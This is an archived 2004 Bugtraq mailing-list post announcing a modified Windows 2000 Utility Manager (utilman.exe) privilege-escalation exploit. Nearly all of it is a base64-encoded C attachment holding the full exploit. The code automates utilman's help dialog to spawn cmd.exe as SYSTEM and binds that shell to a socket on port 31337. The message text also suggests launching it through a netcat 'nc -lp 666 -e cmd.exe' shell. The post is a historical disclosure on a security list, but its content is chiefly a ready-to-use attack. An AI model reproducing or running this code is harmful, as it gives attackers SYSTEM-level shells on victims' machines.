[35786] in bugtraq

home help back first fref pref prev next nref lref last post

new utilman.exe exploit (allinone remote exploitation)

daemon@ATHENA.MIT.EDU (=?iso-8859-1?Q?Iv=E1n_Rodriguez_Al)
Mon Jul 19 10:44:52 2004

Message-ID: <11599.212.53.117.243.1090100007.squirrel@212.53.117.243>
Date: Sat, 17 Jul 2004 23:33:27 +0200 (CEST)
From: =?iso-8859-1?Q?Iv=E1n_Rodriguez_Almui=F1a?= <kralor@coromputer.net>
To: bugtraq@securityfocus.com, news@securiteam.com
Reply-To: kralor@coromputer.net
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="----=_20040717233327_58456"

------=_20040717233327_58456
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

utilman.exe exploit version 2.666 by kralor
-----------------------------------------------------------
v2.666: autonomous (allinone) remote exploitation system ;)
-----------------------------------------------------------
It can be executed through poor cmd.exe shells (like
nc -lp 666 -e cmd.exe from a normal user account).
Must be called with an argument (any argument), just read
source code you will understand why.


-- 
Iván Rodriguez Almuiña
aka kralor
kralor[<aT]>coromputer.net
http://www.coromputer.net
------=_20040717233327_58456
Content-Type: application/octet-stream; name="utilmaned2.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="utilmaned2.c"

LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQogKioqKipDKioqKipPKioqKipSKioq
KipPKioqKioqTSoqKioqKlAqKioqKlUqKioqKioqVCoqKioqKipFKioqKioqUioqKioqMioqKjAq
KiowKioqNCoqKioNCiAqKiAgICAgICAgICBbQ3JwdF0gVXRpbGl0eSBNYW5hZ2VyIGV4cGxvaXQg
djIuNjY2IG1vZGlmaWVkIGJ5IGtyYWxvciBbQ3JwdF0gICAgICAgICAgICAqKg0KICogKiAqICog
KiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAq
ICogKiAqICogKiAqICogKiAqICogKiAqDQogKiogICBJdCBnZXRzIHN5c3RlbSBsYW5ndWFnZSBh
bmQgc2V0cyB3aW5kb3dzIG5hbWVzIHRvIHdvcmsgb24gYW55IHdpbjJrIDpQICAgICAgICAgICAg
KioNCiAqKiAgIEZlZWwgZnJlZSB0byBhZGQgb3RoZXIgbGFuZ3VhZ2VzIDopICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqKg0KICoqICAgdjIuNjY2OiBhZGRl
ZCBhdXRvbm9tb3VzIChhbGxpbm9uZSkgcmVtb3RlIGV4cGxvaXRhdGlvbiBzeXN0ZW0gOykgICAg
ICAgICAgICAgICAgICoqDQogKiogICBJdCBjYW4gYmUgZXhlY3V0ZWQgdGhyb3VnaCBwb29yIGNt
ZC5leGUgc2hlbGxzIChsaWtlIG5jIC1scCA2NjYgLWUgY21kLmV4ZSBmcm9tIGEgKioNCiAqKiAg
IG5vcm1hbCB1c2VyIGFjY291bnQpLiBNdXN0IGJlIGNhbGxlZCB3aXRoIGFuIGFyZ3VtZW50IChh
bnkgYXJndW1lbnQpICAgICAgICAgICAgICAqKg0KICoqICAgWW91IGtub3cgd2hlcmUgd2UgYXJl
Li4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICoqDQogKioqKipDKioqKipPKioqKipSKioqKipPKioqKioqTSoqKioqKlAqKioqKlUqKioq
KioqVCoqKioqKipFKioqKioqUioqKioqMioqKjAqKiowKioqNCoqKioNCiAqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKi8NCi8qIG9yaWdpbmFsIGRpc2NsYWltZXIgKi8NCi8vYnkgQ2Vz
YXIgQ2VycnVkbyAgc3Fsc2VjPmF0PHlhaG9vLmNvbQ0KLy9Mb2NhbCBlbGV2YXRpb24gb2YgcHJp
dmlsaWdlcyBleHBsb2l0IGZvciBXaW5kb3dzIDJLIFV0aWxpdHkgTWFuYWdlciAoc2Vjb25kIG9u
ZSEhISEpDQovL0dpdmVzIHlvdSBhIHNoZWxsIHdpdGggc3lzdGVtIHByaXZpbGVnZXMNCi8vSWYg
eW91IGhhdmUgcHJvYmxlbXMgdHJ5IGNoYW5naW5nIFNsZWVwKCkgdmFsdWVzLg0KLyogZW5kIG9m
IG9yaWdpbmFsIGRpc2NsYWltZXIgKi8NCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8
d2luc29jazIuaD4NCiNpbmNsdWRlIDx3aW5kb3dzLmg+DQojaW5jbHVkZSA8Y29uaW8uaD4NCiNp
bmNsdWRlIDxpby5oPg0KDQojcHJhZ21hIGNvbW1lbnQgKGxpYiwid3MyXzMyIikNCg0KI2RlZmlu
ZSBFWElUX1NIRUxMICJleGl0IC1zaGVsbCINCiNkZWZpbmUgSE9TVCAibG9jYWxob3N0Ig0KI2Rl
ZmluZSBQT1JUIDMxMzM3DQoNCnN0cnVjdCB7DQogaW50IGlkOw0KIGNoYXIgKnV0aWxtYW47DQog
Y2hhciAqd2luaGVscDsNCiBjaGFyICpvcGVuOw0KfSBsYW5nW10gPSB7DQoJeyAweDBjLCJHZXN0
aW9ubmFpcmUgZCd1dGlsaXRhaXJlcyIsImFpZGUgZGUgV2luZG93cyIsIk91dnJpciIgfSwgLyog
RnJlbmNoICAqLw0KCXsgMHgwOSwiVXRpbGl0eSBtYW5hZ2VyIiwiV2luZG93cyBIZWxwIiwiT3Bl
biIgfQkJICAvKiBFbmdsaXNoICovDQp9Ow0KDQp2b2lkIHByaW50X2xhbmcoaW50IGlkKQ0Kew0K
CWNoYXIgKmxhbmdfbGlzdFtdID0geyJOZXV0cmFsIiwiQXJhYmljIiwiQnVsZ2FyaWFuIiwiQ2F0
YWxhbiIsIkNoaW5lc2UiLCJDemVjaCIsDQoJCQkgICAgICJEYW5pc2giLCJHZXJtYW4iLCJHcmVl
ayIsIkVuZ2xpc2giLCJTcGFuaXNoIiwiRmlubmlzaCIsDQoJCQkgICAgICJGcmVuY2giLCJIZWJy
ZXciLCJIdW5nYXJpYW4iLCJJY2VsYW5kaWMiLCJpdGFsaWFuIiwNCgkJCSAgICAgIkphcGFuZXNl
IiwiS29yZWFuIiwiRHV0Y2giLCJOb3J3ZWdpYW4iLCJQb2xpc2giLA0KCQkJICAgICAiUG9ydHVn
dWVzZSIsIlJvbWFuaWFuIiwiUnVzc2lhbiIsIkNyb2F0aWFuIiwiU2VyYmlhbiIsDQoJCQkgICAg
ICJTbG92YWsiLCJBbGJhbmlhbiIsIlN3ZWRpc2giLCJUaGFpIiwiVHVya2lzaCIsIlVyZHUiLA0K
CQkJICAgICAiSW5kb25lc2lhbiIsIlVrcmFpbmlhbiIsIkJlbGFydXNpYW4iLCJTbG92ZW5pYW4i
LA0KCQkJICAgICAiRXN0b25pYW4iLCJMYXR2aWFuIiwiTGl0aHVhbmlhbiIsIkZhcnNpIiwiVmll
dG5hbWVzZSIsDQoJCQkgICAgICJBcm1lbmlhbiIsIkF6ZXJpIiwiQmFzcXVlIiwiRllSTyBNYWNl
ZG9uaWFuIiwiQWZyaWthYW5zIiwNCgkJCSAgICAgIkdlb3JnaWFuIiwiRmFlcm9lc2UiLCJIaW5k
aSIsIk1hbGF5IiwiS2F6YWsiLCJLeXJneXoiLA0KCQkJICAgICAiU3dhaGlsaSIsIlV6YmVrIiwi
VGF0YXIiLCJOb3Qgc3VwcG9ydGVkIiwiUHVuamFiaSIsDQoJCQkgICAgICJHdWphcmF0aSIsIk5v
dCBzdXBwb3J0ZWQiLCJUYW1pbCIsIlRlbHVndSIsIkthbm5hZGEiLA0KCQkJICAgICAiTm90IHN1
cHBvcnRlZCIsIk5vdCBzdXBwb3J0ZWQiLCJNYXJhdGhpIiwiU2Fuc2tyaXQiLA0KCQkJICAgICAi
TW9uZ29saWFuIiwiR2FsaWNpYW4gdGhlIGJlc3QgOykiLCJLb25rYW5pIiwiTm90IHN1cHBvcnRl
ZCIsDQoJCQkgICAgICJOb3Qgc3VwcG9ydGVkIiwiU3lyaWFjIiwiTm90IHN1cHBvcnRlZCIsIk5v
dCBzdXBwb3J0ZWQiLA0KCQkJICAgICAiRGl2ZWhpIiwiSW52YXJpYW50In07DQoJcHJpbnRmKCIl
c1xyXG4iLGxhbmdfbGlzdFtpZF0pOw0KCXJldHVybjsNCn0NCg0KaW50IGNueChjaGFyICpob3N0
LCBpbnQgcG9ydCkNCnsNCglTT0NLRVQgc29jazsNCglzdHJ1Y3Qgc29ja2FkZHJfaW4geWVhaDsN
CglzdHJ1Y3QgaG9zdGVudCAqc2hlOw0KCVBST0NFU1NfSU5GT1JNQVRJT04gUHJvY2Vzc0luZm9y
bWF0aW9uOw0KCVNUQVJUVVBJTkZPIHNpOw0KDQoJcHJpbnRmKCJbaV0gc2hvdWxkIGJlIGNhbGxl
ZCBieSBteXNlbGYsIHRyeSB3aXRoIGFueSBhcmd1bWVudCB0byBsb2FkIHRoZSBhdHRhY2tcclxu
Iik7DQoJZmZsdXNoKHN0ZG91dCk7DQoJc29jayA9IFdTQVNvY2tldCgweDAyLDB4MDEsMHgwMCww
eDAwLDB4MDAsMHgwMCk7DQoJaWYoIXNvY2spIHsNCgkJcHJpbnRmKCJlcnJvcjogdW5hYmxlIHRv
IGNyZWF0ZSBzb2NrZXRcclxuIik7DQoJCXJldHVybiAtMTsNCgkJfQ0KDQoJeWVhaC5zaW5fZmFt
aWx5PUFGX0lORVQ7IA0KCXllYWguc2luX2FkZHIuc19hZGRyPWluZXRfYWRkcihob3N0KTsgDQoJ
eWVhaC5zaW5fcG9ydD1odG9ucygodV9zaG9ydClwb3J0KTsNCg0KaWYoKHNoZT1nZXRob3N0Ynlu
YW1lKGhvc3QpKSE9TlVMTCkgeyANCgltZW1jcHkoKGNoYXIgKikmeWVhaC5zaW5fYWRkcixzaGUt
PmhfYWRkcixzaGUtPmhfbGVuZ3RoKTsgDQoJfSBlbHNlIHsgDQoJaWYoKHllYWguc2luX2FkZHIu
c19hZGRyPWluZXRfYWRkcihob3N0KSk9PUlOQUREUl9OT05FKSB7DQoJCXByaW50ZigiZXJyb3I6
IGNhbm5vdCByZXNvbHZlIGhvc3RcclxuIik7DQoJCXJldHVybiAtMTsNCgkJfSANCgl9DQoJaWYo
Y29ubmVjdChzb2NrLChzdHJ1Y3Qgc29ja2FkZHIqKSZ5ZWFoLHNpemVvZih5ZWFoKSkhPTApIHsN
CgkJcHJpbnRmKCJlcnJvcjogY29ubmVjdGlvbiByZWZ1c2VkXHJcbiIpOw0KCQlyZXR1cm4gLTE7
DQoJCX0NCg0KCXNpLmNiID0gMHg0NDsNCglzaS5scFJlc2VydmVkID0gMHgwMDsNCglzaS5scFRp
dGxlID0gMHgwMDsNCglzaS5scERlc2t0b3AgPSAweDAwOw0KCXNpLmR3WCA9IDB4MDA7DQoJc2ku
ZHdZID0gMHgwMDsNCglzaS5kd1hTaXplID0gMHgwMDsNCglzaS5kd1lTaXplID0gMHgwMDsNCglz
aS53U2hvd1dpbmRvdyA9IDB4MDA7DQoJc2kubHBSZXNlcnZlZDIgPSAweDAwOw0KCXNpLmNiUmVz
ZXJ2ZWQyID0gMHgwMDsNCg0KCXNpLmR3RmxhZ3MgPSAweDEwMTsNCg0KCXNpLmhTdGRJbnB1dCAg
PSAodm9pZCAqKXNvY2s7DQoJc2kuaFN0ZE91dHB1dCA9ICh2b2lkICopc29jazsNCglzaS5oU3Rk
RXJyb3IgPSAodm9pZCAqKXNvY2s7DQoNCglpZighQ3JlYXRlUHJvY2VzcygweDAwLCAiY21kIiwg
MHgwMCwgMHgwMCwgMHgwMSwgMHgxMCwgMHgwMCwgMHgwMCwmc2ksICZQcm9jZXNzSW5mb3JtYXRp
b24pKSB7DQoJCXByaW50ZigiQ3JlYXRlUHJvY2VzcygpIGVycm9yXHJcbiIpOw0KCQlyZXR1cm4g
LTE7DQoJfQ0KCXJldHVybiAwOw0KfQ0KDQp2b2lkIGNtZHNoZWxsKGludCBzb2NrKQ0Kew0KCWlu
dCBsZW5ndGg9NjY2Ow0KCWNoYXIgYnVmZmVyWzEwMjRdOw0KDQp3aGlsZShsZW5ndGgpIHsNCgkJ
bGVuZ3RoPXJlYWQoMCxidWZmZXIsc2l6ZW9mKGJ1ZmZlcikpOw0KCQlidWZmZXJbbGVuZ3RoXT0w
Ow0KCQlpZighc3RybmNtcChidWZmZXIsRVhJVF9TSEVMTCxzdHJsZW4oRVhJVF9TSEVMTCkpKSB7
DQoJCQlzZW5kKHNvY2ssImV4aXRcclxuIiw2LDApOw0KCQkJYnJlYWs7DQoJCQl9DQoJCWxlbmd0
aD1zZW5kKHNvY2ssYnVmZmVyLGxlbmd0aCwwKTsNCgkJaWYgKGxlbmd0aDw9MCkgew0KCQkJcHJp
bnRmKCJbaV0gQ29ubmVjdGlvbiBjbG9zZWQuXG4iKTsNCgkJCWV4aXQoMCk7DQoJCX0NCgl9DQoJ
cHJpbnRmKCJbaV0gQ29ubmVjdGlvbiBzdWNjZXNzZnVsbHkgZXhpdGVkLlxyXG4iKTsNCglleGl0
KDApOw0KfQ0KDQp2b2lkIHdhaXRfY254KGludCBwb3J0KSB7DQoJaW50IHNvY2ssIHMsdDsNCglz
dHJ1Y3Qgc29ja2FkZHJfaW4gbXlfYWRkcjsNCglzdHJ1Y3Qgc29ja2FkZHJfaW4gdGhlaXJfYWRk
cjsNCiAgICBpbnQgc2luX3NpemU7DQoJY2hhciBidWZmZXJbNDA5NV07DQoNCmlmKChzb2NrID0g
c29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCAwKSk9PS0xKSB7DQoJcHJpbnRmKCJlcnJvcjog
dW5hYmxlIHRvIGNyZWF0ZSBzb2NrZXRcclxuIik7DQoJZXhpdCgxKTsNCgl9DQoJbXlfYWRkci5z
aW5fZmFtaWx5PUFGX0lORVQ7ICAgICAgICANCglteV9hZGRyLnNpbl9wb3J0PWh0b25zKCh1X3No
b3J0KXBvcnQpOw0KCW15X2FkZHIuc2luX2FkZHIuc19hZGRyPUlOQUREUl9BTlk7IA0KaWYoYmlu
ZChzb2NrLCAoc3RydWN0IHNvY2thZGRyICopJm15X2FkZHIsIHNpemVvZihzdHJ1Y3Qgc29ja2Fk
ZHIpKT09LTEpIHsNCglwcmludGYoImVycm9yOiB1bmFibGUgdG8gYmluZCBzb2NrZXQgb24gcG9y
dCAlZFxyXG4iLHBvcnQpOw0KCWV4aXQoMSk7DQoJfQ0KaWYobGlzdGVuKHNvY2ssIDMpPT0tMSkg
ew0KCXByaW50ZigiZXJyb3I6IHVuYWJsZSB0byBsaXN0ZW5cclxuIik7DQoJZXhpdCgxKTsNCgl9
DQoJc2luX3NpemU9c2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbik7DQoJcHJpbnRmKCJbaV0gd2Fp
dGluZyBjb25uZWN0aW9uIG9uIHBvcnQgJWRcclxuIixwb3J0KTsNCg0KaWYoKHM9YWNjZXB0KHNv
Y2ssIChzdHJ1Y3Qgc29ja2FkZHIgKikmdGhlaXJfYWRkciwmc2luX3NpemUpKT09LTEpIHsNCglw
cmludGYoImVycm9yOiB1bmFibGUgdG8gYWNjZXB0IGNvbm5lY3Rpb25cclxuIik7DQoJZXhpdCgx
KTsNCgl9DQoJbWVtc2V0KGJ1ZmZlciwwLHNpemVvZihidWZmZXIpKTsNCglwcmludGYoIltpXSBo
b3N0ICVzIGNvbm5lY3RlZFxyXG4iLCBpbmV0X250b2EodGhlaXJfYWRkci5zaW5fYWRkcikpOw0K
CXByaW50ZigiW2hdIHR5cGUgJ2V4aXQgLXNoZWxsJyB0byBsZWF2ZSB0aGUgc2hlbGxcclxuXHJc
biIpOw0KCWZmbHVzaChzdGRvdXQpOw0KCUNyZWF0ZVRocmVhZChOVUxMLDAsKExQVEhSRUFEX1NU
QVJUX1JPVVRJTkUpY21kc2hlbGwsKHZvaWQqKXMsMCwmdCk7DQoJd2hpbGUoKHNpbl9zaXplPXJl
Y3YocyxidWZmZXIsc2l6ZW9mKGJ1ZmZlciksMCkpPjApIHsNCgkJYnVmZmVyW3Npbl9zaXplXT0w
eDAwOw0KCQlwcmludGYoIiVzIixidWZmZXIpOw0KCQlmZmx1c2goc3Rkb3V0KTsNCgkJfQ0KCXBy
aW50ZigiXHJcbltpXSBzaGVsbCBsb3N0XHJcbiIpOw0KCXJldHVybjsNCn0NCg0KaW50IHNldF9s
YW5nKHZvaWQpDQp7DQoJdW5zaWduZWQgaW50IGxhbmdfdXNyLGxhbmdfc3lzLGlkOw0KDQoJaWQ9
R2V0U3lzdGVtRGVmYXVsdExhbmdJRCgpOw0KCWxhbmdfc3lzPVBSSU1BUllMQU5HSUQoaWQpOw0K
CWlkPUdldFVzZXJEZWZhdWx0TGFuZ0lEKCk7DQoJbGFuZ191c3I9UFJJTUFSWUxBTkdJRChpZCk7
DQoJaWYobGFuZ191c3IhPWxhbmdfc3lzKSB7DQoJCXByaW50Zigid2FybmluZzogdXNlciBsYW5n
dWFnZSBkaWZmZXJzIGZyb20gc3lzdGVtIGxhbmd1YWdlXHJcblxyXG4iKTsNCgkJcHJpbnRmKCIx
LiBzeXN0ZW0gOiAiKTtwcmludF9sYW5nKGxhbmdfc3lzKTsNCgkJcHJpbnRmKCIyLiB1c2VyICAg
OiAiKTtwcmludF9sYW5nKGxhbmdfdXNyKTtwcmludGYoIlNlbGVjdCgxLTIpOiAiKTsNCgkJZmZs
dXNoKHN0ZG91dCk7DQoJCWlkPWdldGNoKCk7DQoJaWYoaWQhPTQ5JiZpZCE9NTApIHsNCgkJcHJp
bnRmKCJ3cm9uZyBjaG9pY2UgJyVjJywgbGVhdmluZy5cclxuIixpZCk7DQoJCWV4aXQoMCk7DQoJ
CX0NCglpZihpZD09NDkpIHsNCgkJcHJpbnRmKCJzeXN0ZW0gbGFuZ3VhZ2VcclxuIik7DQoJCXJl
dHVybiBsYW5nX3N5czsNCgkJfQ0KCWVsc2UNCgkJcHJpbnRmKCJ1c2VyIGxhbmd1YWdlXHJcbiIp
Ow0KCX0NCglyZXR1cm4gbGFuZ191c3I7DQp9DQoNCnZvaWQgYmFubmVyKCkNCnsNCglwcmludGYo
IlxyXG5cclxuXHRbQ3JwdF0gVXRpbGl0eSBNYW5hZ2VyIGV4cGxvaXQgdjIuNjY2IG1vZGlmaWVk
IGJ5IGtyYWxvciBbQ3JwdF1cclxuIik7DQoJcHJpbnRmKCJcdFx0XHQgIGJhc2UgY29kZSBieSBD
ZXNhciBDZXJydWRvXHJcbiIpOw0KCXByaW50ZigiXHQgICAgIGFkZGVkIGF1dG9ub21vdXMgKGFs
bGlub25lKSByZW1vdGUgZXhwbG9pdGF0aW9uIHN5c3RlbVxyXG4iKTsNCglwcmludGYoIlx0XHRc
dCAgIFlvdSBrbm93IHdoZXJlIHdlIGFyZS4uLlxyXG5cclxuIik7DQoJZmZsdXNoKHN0ZG91dCk7
DQoJcmV0dXJuOw0KfQ0KDQp2b2lkIGdpdmVfbWFnaWNzaGVsbCh2b2lkKQ0Kew0KCWNueChIT1NU
LFBPUlQpOw0KCWV4aXQoMCk7DQoJcmV0dXJuOw0KfQ0KDQp2b2lkIGVudGVyX2ZpbGVuYW1lKEhX
TkQgaHduZCxjaGFyICpmaWxlbmFtZSxpbnQgc2l6ZSkNCnsNCgl1bnNpZ25lZCBpbnQgaTsNCg0K
CWZvcihpPTA7aTwodW5zaWduZWQgaW50KXNpemU7aSsrKQ0KCQlTZW5kTWVzc2FnZShod25kLCBX
TV9JTUVfS0VZRE9XTiwgdG91cHBlcihmaWxlbmFtZVtpXSksIDApOw0KCXJldHVybjsNCn0NCg0K
aW50IG1haW4oaW50IGFyZ2MsIGNoYXIqIGFyZ3ZbXSkNCnsNCiAgICBIV05EIGxIYW5kbGUsIGxI
YW5kbGUyOw0KICAgIFBPSU5UIHBvaW50Ow0KICAgIGNoYXIgY21kWzUxMl07DQoJdW5zaWduZWQg
aW50IGksaix0Ow0KCWludCBsYW5nX2lkLHBhdGhfbGVuPTEwMjQ7DQoJY2hhciAqcGF0aDsNCglX
U0FEQVRBIHdzYTsNCglIQU5ETEUgaGRscjsNCg0KCWJhbm5lcigpOw0KCWlmKFdTQVN0YXJ0dXAo
MHgxMDEsJndzYSkpIHsNCgkJcHJpbnRmKCJlcnJvcjogdW5hYmxlIHRvIGxvYWQgd2luc29ja1xy
XG4iKTsNCgkJcmV0dXJuIC0xOw0KCX0NCmlmKGFyZ2M9PTEpDQoJZ2l2ZV9tYWdpY3NoZWxsKCk7
DQoNCgloZGxyPUNyZWF0ZVRocmVhZChOVUxMLDAsKExQVEhSRUFEX1NUQVJUX1JPVVRJTkUpXA0K
CQkgd2FpdF9jbngsKHZvaWQqKVBPUlQsMCwmdCk7DQoJU2xlZXAoMTAwMCk7DQoNCglwcmludGYo
IlsrXSBHYXRoZXJpbmcgc3lzdGVtIGxhbmd1YWdlIGluZm9ybWF0aW9uXHJcbiIpOw0KCWxhbmdf
aWQ9c2V0X2xhbmcoKTsNCglwcmludGYoIlsrXSBPSyBsYW5ndWFnZSAuLi4iKTtwcmludF9sYW5n
KGxhbmdfaWQpOw0KCWZmbHVzaChzdGRvdXQpOw0KCWZvcihpPTA7aTxzaXplb2YobGFuZykvc2l6
ZW9mKGxhbmdbMF0pO2krKykNCgkJaWYobGFuZ1tpXS5pZD09bGFuZ19pZCkNCgkJCWJyZWFrOw0K
CWlmKGk9PXNpemVvZihsYW5nKS9zaXplb2YobGFuZ1swXSkpIHsNCgkJcHJpbnRmKCJlcnJvcjog
dW5kZWZpbmVkIGxhbmd1YWdlLlxyXG4iKTsNCgkJcmV0dXJuIC0xOw0KCX0NCglwcmludGYoIlsr
XSBUcnlpbmcgdG8gZXhlY3V0ZSBwcm9ncmFtIHdpdGggU1lTVEVNIHByaXZpbGlnZXMgdGhyb3Vn
aCB1dGlsbWFuLmV4ZVxyXG4iKTsNCgltZW1zZXQoY21kLDAsc2l6ZW9mKGNtZCkpOw0KCWZvcihq
PXN0cmxlbihhcmd2WzBdKTtqPjA7ai0tKQ0KCQlpZihhcmd2WzBdW2pdPT0nXFwnKSB7DQoJCQlq
Kys7YnJlYWs7DQoJCX0NCglzdHJuY3B5KGNtZCwmYXJndlswXVtqXSw1MDgpOw0KCWlmKGNtZFtz
dHJsZW4oY21kKS00XSE9Jy4nKQ0KCQlzdHJjYXQoY21kLCIuZXhlIik7DQoNCglwcmludGYoInBy
b2c6ICVzXHJcbiIsY21kKTsNCgljbWRbc3RybGVuKGNtZCktMV09Jz8nOw0KCWZmbHVzaChzdGRv
dXQpOw0KLy8gIHJ1biB1dGlsaXR5IG1hbmFnZXINCglXaW5FeGVjKCJ1dGlsbWFuLmV4ZSAvc3Rh
cnQiLFNXX0hJREUpOw0KCVNsZWVwKDEwMDApOw0KDQoJbEhhbmRsZT1GaW5kV2luZG93KE5VTEws
IGxhbmdbaV0udXRpbG1hbik7ICAgDQogICAgaWYgKCFsSGFuZGxlKSB7DQoJCXByaW50ZigiZXJy
b3I6IHVuYWJsZSB0byBzdGFydCB1dGlsbWFuLmV4ZS5cclxuIik7DQoJCXJldHVybiAwOw0KCX0N
Cg0KICAgIFBvc3RNZXNzYWdlKGxIYW5kbGUsMHgzMTMsMCwwKTsgLy89cmlnaHQgY2xpY2sgb24g
dGhlIGFwcCBidXR0b24gaW4gdGhlIHRhc2tiYXIgb3IgQWx0K1NwYWNlIEJhcg0KCVNsZWVwKDEw
MCk7DQoNCglTZW5kTWVzc2FnZShsSGFuZGxlLDB4MzY1LDAsMHgxKTsgLy9zZW5kIFdNX0NPTU1B
TkRIRUxQICAweDAzNjUgIGxQYXJhbSBtdXN0IGJlPD5OVUxMIA0KCVNsZWVwKDMwMCk7DQogICAg
ICAgIA0KCVNlbmRNZXNzYWdlIChGaW5kV2luZG93KE5VTEwsIGxhbmdbaV0ud2luaGVscCksIFdN
X0lNRV9LRVlET1dOLCBWS19SRVRVUk4sIDApOw0KCVNsZWVwKDUwMCk7DQoNCiAgICAgICAgLy8g
ZmluZCBvcGVuIGZpbGUgZGlhbG9nIHdpbmRvdw0KCWxIYW5kbGUgPSBGaW5kV2luZG93KCIjMzI3
NzAiLGxhbmdbaV0ub3Blbik7DQogICAgLy8gZ2V0IGlucHV0IGJveCBoYW5kbGUNCiAgICBsSGFu
ZGxlMiA9IEdldERsZ0l0ZW0obEhhbmRsZSwgMHg0N0MpOw0KICAgIFNsZWVwKDUwMCk7DQoNCglw
YXRoPShjaGFyKiltYWxsb2MocGF0aF9sZW4pOw0KCUdldEN1cnJlbnREaXJlY3RvcnkocGF0aF9s
ZW4scGF0aCk7DQoJcHJpbnRmKCJwYXRoOiAlc1xyXG4iLHBhdGgpOw0KICAgIFNlbmRNZXNzYWdl
IChsSGFuZGxlMiwgV01fU0VUVEVYVCwgMCwgKExQQVJBTSlwYXRoKTsNCiAgICBTZW5kTWVzc2Fn
ZSAobEhhbmRsZTIsIFdNX0lNRV9LRVlET1dOLCBWS19SRVRVUk4sIDApOw0KCWZyZWUocGF0aCk7
DQoJZmZsdXNoKHN0ZG91dCk7DQoNCiAgICAvLyBzZXQgdGV4dCB0byBmaWx0ZXIgbGlzdHZpZXcg
dG8gZGlzcGxheSBvbmx5IGNtZC5leGUNCiAgICBTZW5kTWVzc2FnZSAobEhhbmRsZTIsIFdNX1NF
VFRFWFQsIDAsIChMUEFSQU0pY21kKTsNCiAgICBTbGVlcCg4MDApOw0KDQogICAgLy8gc2VuZCBy
ZXR1cm4NCiAgICBTZW5kTWVzc2FnZSAobEhhbmRsZTIsIFdNX0lNRV9LRVlET1dOLCBWS19SRVRV
Uk4sIDApOw0KDQogICAgLy9nZXQgbmF2aWdhdGlvbiBiYXIgaGFuZGxlDQogICAgbEhhbmRsZTIg
PSBHZXREbGdJdGVtKGxIYW5kbGUsIDB4NEEwKTsNCiAgICANCiAgICAvL3NlbmQgdGFiDQogICAg
U2VuZE1lc3NhZ2UgKGxIYW5kbGUyLCBXTV9JTUVfS0VZRE9XTiwgVktfVEFCLCAwKTsNCiAgICBT
bGVlcCg1MDApOw0KICAgIGxIYW5kbGUyID0gRmluZFdpbmRvd0V4KGxIYW5kbGUsTlVMTCwiU0hF
TExETExfRGVmVmlldyIsIE5VTEwpOw0KICAgIC8vZ2V0IGxpc3QgdmlldyBoYW5kbGUNCiAgICBs
SGFuZGxlMiA9IEdldERsZ0l0ZW0obEhhbmRsZTIsIDB4MSk7DQoNCgllbnRlcl9maWxlbmFtZShs
SGFuZGxlMixjbWQsc3RybGVuKGNtZCktNCk7DQogICAgU2xlZXAoNTAwKTsNCg0KICAgIC8vcG9w
dXAgY29udGV4dCBtZW51DQogICAgUG9zdE1lc3NhZ2UgKGxIYW5kbGUyLCBXTV9DT05URVhUTUVO
VSwgMCwgMCk7DQogICAgU2xlZXAoMTAwMCk7DQoNCiAgICAvLyBnZXQgY29udGV4dCBtZW51IGhh
bmRsZQ0KICAgIHBvaW50LnggPTEwOyBwb2ludC55ID0zMDsNCiAgICBsSGFuZGxlMj1XaW5kb3dG
cm9tUG9pbnQocG9pbnQpOw0KDQogICAgU2VuZE1lc3NhZ2UgKGxIYW5kbGUyLCBXTV9LRVlET1dO
LCBWS19ET1dOLCAwKTsgLy8gbW92ZSBkb3duIGluIG1lbnUNCiAgICBTZW5kTWVzc2FnZSAobEhh
bmRsZTIsIFdNX0tFWURPV04sIFZLX0RPV04sIDApOyAvLyBtb3ZlIGRvd24gaW4gbWVudQ0KICAg
IFNlbmRNZXNzYWdlIChsSGFuZGxlMiwgV01fS0VZRE9XTiwgVktfUkVUVVJOLCAwKTsgLy8gc2Vu
ZCByZXR1cm4NCg0KICAgIFNlbmRNZXNzYWdlIChsSGFuZGxlLCBXTV9DTE9TRSwwLDApOyAvLyBj
bG9zZSBvcGVuIGZpbGUgZGlhbG9nIHdpbmRvdw0KICAgIFNsZWVwKDUwMCk7DQoNCglTZW5kTWVz
c2FnZSAoRmluZFdpbmRvdyhOVUxMLCBsYW5nW2ldLndpbmhlbHApLCBXTV9DTE9TRSwgMCwgMCk7
Ly8gY2xvc2Ugb3BlbiBlcnJvciB3aW5kb3cNCglTZW5kTWVzc2FnZSAoRmluZFdpbmRvdyhOVUxM
LCBsYW5nW2ldLnV0aWxtYW4pLCBXTV9DTE9TRSwgMCwgMCk7Ly8gY2xvc2UgdXRpbGl0eW1hbmFn
ZXINCglXYWl0Rm9yU2luZ2xlT2JqZWN0KGhkbHIsSU5GSU5JVEUpOw0KCVdTQUNsZWFudXAoKTsN
CglyZXR1cm4gMDsNCn0NCg==
------=_20040717233327_58456--


home help back first fref pref prev next nref lref last post